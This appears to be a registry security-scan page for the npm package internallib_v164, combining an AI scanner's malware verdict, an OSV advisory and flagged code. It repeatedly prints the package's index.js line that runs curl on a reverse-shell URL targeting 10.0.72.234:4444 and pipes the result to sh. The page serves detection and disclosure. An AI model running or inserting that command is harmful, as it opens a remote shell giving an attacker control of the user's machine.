registry / internallib_v164 / 4.0.9

internallib_v164@4.0.9

AI Security Review

scanned 4d ago · by lpm-firewall-ai

Calling the exported command fetches remote content and executes it with a shell. The fetched content can run arbitrary commands under the consuming user's privileges.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer imports the package and calls command().

Impact

Remote code execution and possible host compromise.

Mechanism

curl remote script piped directly to sh via exec

Attack narrative

A caller invoking internallib_v164.command() reaches child_process.exec, which runs bash to download content from the specified reverse-shell URL and pipes it directly into sh. Because the downloaded response is executed without validation, the remote endpoint controls code run with the caller's privileges.

Rationale

The runtime entrypoint contains an explicit remote download-and-execute chain, corroborated by a bundled file that invokes it. Absence of an install hook does not mitigate this concrete remote-code-execution behavior.

Evidence

index.jscheck.jspackage.json

Network endpoints1

reverse-shell.sh/10.0.72.234:4444

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13764

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in internallib_v164 (npm)

Details

index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a reverse-shell script from reverse-shell.sh templated with the hardcoded target 10.0.72.234:4444 and piping it to sh. When a consumer requires the package and invokes the exported command, the installer's host opens an outbound interactive shell to that address, giving the remote party arbitrary code execution and persistent interactive access. The destination is an RFC1918 address, consistent with an internal-network attacker target. ## Source: ghsa-malware (be37e90a2c609cc50d50a3ba6a65a2f2598e098b885f18637206d571ad828118) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Exported command downloads a remote script and pipes it to sh.
The command invokes /bin/bash through child_process.exec.
A bundled consumer example calls the malicious exported command.

Evidence against

No npm preinstall, install, or postinstall lifecycle hook is declared.
Execution requires a consumer to invoke command().

Behavioral surface

Source

ChildProcessShell

Supply chain

TrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 273 B of source, external domains: reverse-shell.sh

Source & flagged code

8 flagged

index.jsView file

1const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

4console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

High

Shell

Package source references shell execution.

index.jsView on unpkg · L4

•matchType = normalized_sha256 matchedPackage = internallib_v164@6.0.9 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjE2NA:6.0.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 664ce3e800c949fb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = internallib_v164@6.0.9 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjE2NA:6.0.9 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

1const { exec } = require('child_process');

High

Ai Review Evidence

The command invokes /bin/bash through child_process.exec.

index.jsView on unpkg · L1

check.jsView file

1internallib = require("internallib_v164") console.log(internallib.command())

High

Ai Review Evidence

A bundled consumer example calls the malicious exported command.

check.jsView on unpkg · L1

Source & flagged code

8 flagged · loading source

index.jsView file

1const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

4console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Findings

2 Critical6 High2 Low

CriticalDownload Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

HighShellindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidencecheck.js

LowScripts Present

LowUrl Strings